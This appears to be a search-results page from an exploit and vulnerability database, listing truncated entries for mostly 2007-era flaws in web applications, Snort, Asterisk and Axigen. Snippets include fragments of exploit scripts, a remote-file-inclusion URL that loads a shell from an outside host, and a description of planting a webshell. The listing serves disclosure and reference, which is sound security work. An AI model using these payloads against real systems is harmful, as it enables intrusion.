3337 matches found
Drake CMS 0.3.7 - 404.php Local File Inclusion
Drake CMS 0.3.7 - 404.php Local File Inclusion source: https://www.securityfocus.com/bid/23215/info Drake CMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files and execute...
sBLOG 0.7.3 Beta (inc/lang.php) Local File Inclusion Exploit
Exploit for unknown platform in category web applications ===================================== sBLOG 0.7.3 Beta inc/lang.php Local File Inclusion Exploit ============================================================ !/usr/bin/perl sBLOG 0.7.3 Betainc/lang.phpLocal File Inclusion Exploit D.Script:...
sBLOG 0.7.3 Beta - inclang.php Local File Inclusion
sBLOG 0.7.3 Beta - inclang.php Local File Inclusion !/usr/bin/perl sBLOG 0.7.3 Betainc/lang.phpLocal File Inclusion Exploit D.Script: http://sourceforge.net/projects/sblog/ V.Code: ifisset$conflangdefault && fileexists'lang/' . $conflangdefault . '.php' require'lang/' . $conflangdefault . '.php';...
CodeBB 1.0 beta 2 (phpbb_root_path) Remote File Inclusion Vulnerability
No description provided by source. codebb 1.1b3 phpbbrootpath Remote File Include Vulnerability D.Script: http://rd.cycnus.de/download/codebb-1.1b3.tar.bz2 Discovered by: Alkomandoz Hacker Homepage: http://www.asb-may.net V.Code includeonce$phpbbrootpath . 'includes/codebb/config.'.$phpEx;...
CodeBB 1.0 Beta 2 - phpbb_root_path Remote File Inclusion
CodeBB 1.0 Beta 2 - phpbbrootpath Remote File Inclusion codebb 1.1b3 phpbbrootpath Remote File Include Vulnerability D.Script: http://rd.cycnus.de/download/codebb-1.1b3.tar.bz2 Discovered by: Alkomandoz Hacker Homepage: http://www.asb-may.net V.Code includeonce$phpbbrootpath...
Asterisk SIP通道驱动应答零代码远程拒绝服务漏洞
Asterisk是一个开放源代码的软件VoIP PBX系统。 Asterisk处理包含code 0的应答消息存在问题，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。 从远程系统接收到部分SIP应答如SIP Response code 0，可导致Asterisk崩溃，造成拒绝服务攻击。 Asterisk Asterisk 1.4.1 Asterisk Asterisk 1.2.16 Asterisk Asterisk 1.2.15 Asterisk Asterisk 1.2.14 Asterisk Asterisk 1.2.13 Asterisk Asterisk 1.2.11...
MetaForum 0.513 Beta - Arbitrary File Upload
:\r\n"; $phpcode = trimfgetsSTDIN; echo "\r\n+ Connection... "; $sock = @fsockopen$argv1, 80, $eno, $estr, 30; if !$sock die"Failed\r...
Woltlab Burning Board UserGroups.PHP SQL注入漏洞
Woltlab Burning Board是一款基于PHP的WEB应用程序。 Woltlab Burning Board不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息。 问题是'UserGroups.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意SQL代码作为参数数据，可导致更改原来的SQL逻辑，获得敏感信息。 Woltlab Burning Board 2.7 Woltlab Burning Board 2.6 Woltlab Burning Board 2.5 Woltlab Burning Board 2.4 Woltlab Burning...
CVE-2007-1440
SQL injection vulnerability in search.asp in JGBBS 3.0 Beta 1 allows remote attackers to execute arbitrary SQL commands via the author parameter...
CVE-2007-1440
CVE-2007-1440: SQL injection in JGBBS 3.0 Beta 1’s search.asp allows remote command execution via the author parameter. Affected component is the search functionality in JGBBS 3.0 Beta 1; root cause is improper handling/concatenation of user-supplied input resulting in SQL injection. Public refer...
CVE-2007-1398
The frag3 preprocessor in Snort 2.6.1.1, 2.6.1.2, and 2.7.0 beta, when configured for inline use on Linux without the ipconntrack module loaded, allows remote attackers to cause a denial of service segmentation fault and application crash via certain UDP packets produced by sendmorefragpacket and...
Snort 2.6.1.12.6.1.22.7.0 - fragementation Remote Denial of Service
Snort 2.6.1.12.6.1.22.7.0 - fragementation Remote Denial of Service / DOS Snort Inline Affected Versions: 2.6.1.1, 2.6.1.2, 2.7.0beta Requirements : Frag3 Enabled, Inline, Linux, ipconntrack disabled Antimatt3r [email protected] Offset needs to be supplied that would cause reassembly for...
Axigen eMail Server 2.0.0b2 (pop3) Remote Format String Exploit
Exploit for linux platform in category remote exploits =============================================================== Axigen eMail Server 2.0.0b2 pop3 Remote Format String Exploit =============================================================== / axiagen.c Axigen eMail Server v2.0 beta by fuGich...
Design/Logic Flaw
Multiple unspecified vulnerabilities in Ian Bezanson DropBox before 0.0.4 beta have unknown impact and attack vectors, possibly related to a variable extraction vulnerability...
phpCC <= 4.2 beta (nickpage.php npid) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================== phpCC : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; print "User :...
Then the storm BBSxp 7.0 Beta 2 vulnerability-vulnerability warning-the black bar safety net
The vulnerability exists in the file setup. asp The first part of the Registration－login-post-edit-capture-package-promoted to administrator-change background-password - login backend-WEBSHELL Here I set the password as: ttfct1 ,NC submitted successfully provided for the administrator. With...
Inertia News Remote File İnclude
Version : 0.02 beta Error : require "$inewspath/inertiasqlclass.php"; Exploit : http://www.victim.com/inertianewsmain.php?inewspath=http://www.site.com/shell.txt Eno7.Org - Crazy-King.ORg Thanks : Apaci & Erne & Eno7 & Tamturk & UyussMan & Ayyldz Tim...
Microsoft Internet Explorer 678 - li Element Denial of Service (3)
Microsoft Internet Explorer 678 - li Element Denial of Service 3 source: https://www.securityfocus.com/bid/36070/info Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability. Successful exploits can allow attackers to crash the affected browser, resulting in...
joomla150beta-sql.txt
Hi, These bugs were published in full-disclosure about 2 weeks ago CVE : CVE-2007-0373, CVE-2007-0374 and CVE-2007-0375, CVE-2007-0387 . In Mambo 4.6.1 and Joomla 1.0.11 and 1.5 Beta , the 'id' parameter can cause sql injection when cancelling content editting . Other versions maybe affected too...